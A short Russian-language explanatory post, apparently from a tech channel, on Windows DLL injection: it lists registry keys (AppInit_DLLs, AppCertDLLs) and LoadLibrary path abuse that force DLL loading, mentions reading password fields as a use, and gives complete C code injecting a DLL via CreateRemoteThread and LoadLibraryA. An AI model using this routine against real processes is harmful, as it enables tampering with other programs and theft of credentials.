⏺️DLL-инъекции часто используются внешними программами, чтобы повлиять на поведение другой программы так, как её авторы не задумывали и не предполагали.
⏺️Например, внедрённый код может перехватывать системные вызовы функций или прочитать содержимое текстовых полей пароля, что невозможно сделать обычным способом.
👩💻 На Windows имеется множество способов заставить процесс загрузить код в DLL-библиотеке:
DLL-файлы, указанные в списке системного реестра по ключу HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs, будут загружаться в каждом процессе, загружающем библиотеку User32.dll при её начальном вызове.
DLL-файлы по ключу HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDLLs будут загружаться в каждом процессе, которые вызывают функции Windows API CreateProcess, CreateProcessAsUser, CreateProcessWithLogonW, CreateProcessWithTokenW и WinExec.
Эксплуатация ограничений Windows и приложений, вызывающих LoadLibrary или LoadLibraryEx без указания пути к загружаемой DLL.
👩💻 Пример такого кода на языке C:
#include <windows.h>
HANDLE inject_DLL(const char* file_name, int PID)
{
HANDLE h_process, h_rThread;
char fullDLLPath[_MAX_PATH];
LPVOID DLLPath_addr, LoadLib_addr;
DWORD exit_code;
/* Извлечение handle-идентификатора целевого процесса */
h_process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
/* Получение полного пути к DLL-файлу */
GetFullPathName(file_name, _MAX_PATH, fullDLLPath, NULL);
/* Выделение памяти в целевом процессе */
DLLPath_addr = VirtualAllocEx(h_process, NULL, _MAX_PATH,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
/* Запись пути к DLL-файлу в недавно созданный блок памяти */
WriteProcessMemory(h_process, DLLPath_addr, fullDLLPath,
strlen(fullDLLPath), NULL);
/* Получение адреса LoadLibraryA (такой же для всех процессов), чтобы начать его запуск */
LoadLib_addr = GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA");
/* Запуск удалённого потока в LoadLibraryA, и проброс пути к DLL в качестве аргумента */
h_rThread = CreateRemoteThread(h_process, NULL, 0,
(LPTHREAD_START_ROUTINE)LoadLib_addr, DLLPath_addr, 0, NULL);
/* Ожидание его завершения */
WaitForSingleObject(h_rThread, INFINITE);
/* Получение кода завершения (то есть, значение handle, возвращённый вызовом LoadLibraryA */
GetExitCodeThread(h_rThread, &exit_code);
/* Освобождение носителя внедрённого потока. */
CloseHandle(h_rThread);
/* А также память, выделенная для пути к DLL */
VirtualFreeEx(h_process, DLLPath_addr, 0, MEM_RELEASE);
/* А также handle-иднетификатор целевого процесса */
CloseHandle(h_process);
return (HANDLE)exit_code;
}